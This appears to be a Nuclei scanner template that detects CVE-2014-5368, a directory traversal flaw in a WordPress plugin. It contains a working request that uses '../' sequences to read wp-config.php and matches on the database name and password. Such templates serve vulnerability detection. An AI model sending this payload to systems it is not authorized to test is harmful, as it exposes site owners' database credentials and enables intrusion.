id: CVE-2014-5368 info: name: WordPress Plugin WP Content Source Control - Directory Traversal author: daffainfo severity: high description: A directory traversal vulnerability in the file_get_contents function in downloadfiles/download.php in the WP Content Source Control (wp-source-control) plugin 3.0.0 and earlier for WordPress allows remote attackers to read arbitrary files via a .. (dot dot) in the path parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2014-5368 - https://www.exploit-db.com/exploits/39287 - https://www.cvedetails.com/cve/CVE-2014-5368 - http://seclists.org/oss-sec/2014/q3/417 classification: cve-id: CVE-2014-5368 tags: cve,cve2014,wordpress,wp-plugin,lfi requests: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wp-source-control/downloadfiles/download.php?path=../../../../wp-config.php" matchers-condition: and matchers: - type: word words: - "DB_NAME" - "DB_PASSWORD" part: body condition: and - type: status status: - 200 # Enhanced by mp on 2022/02/25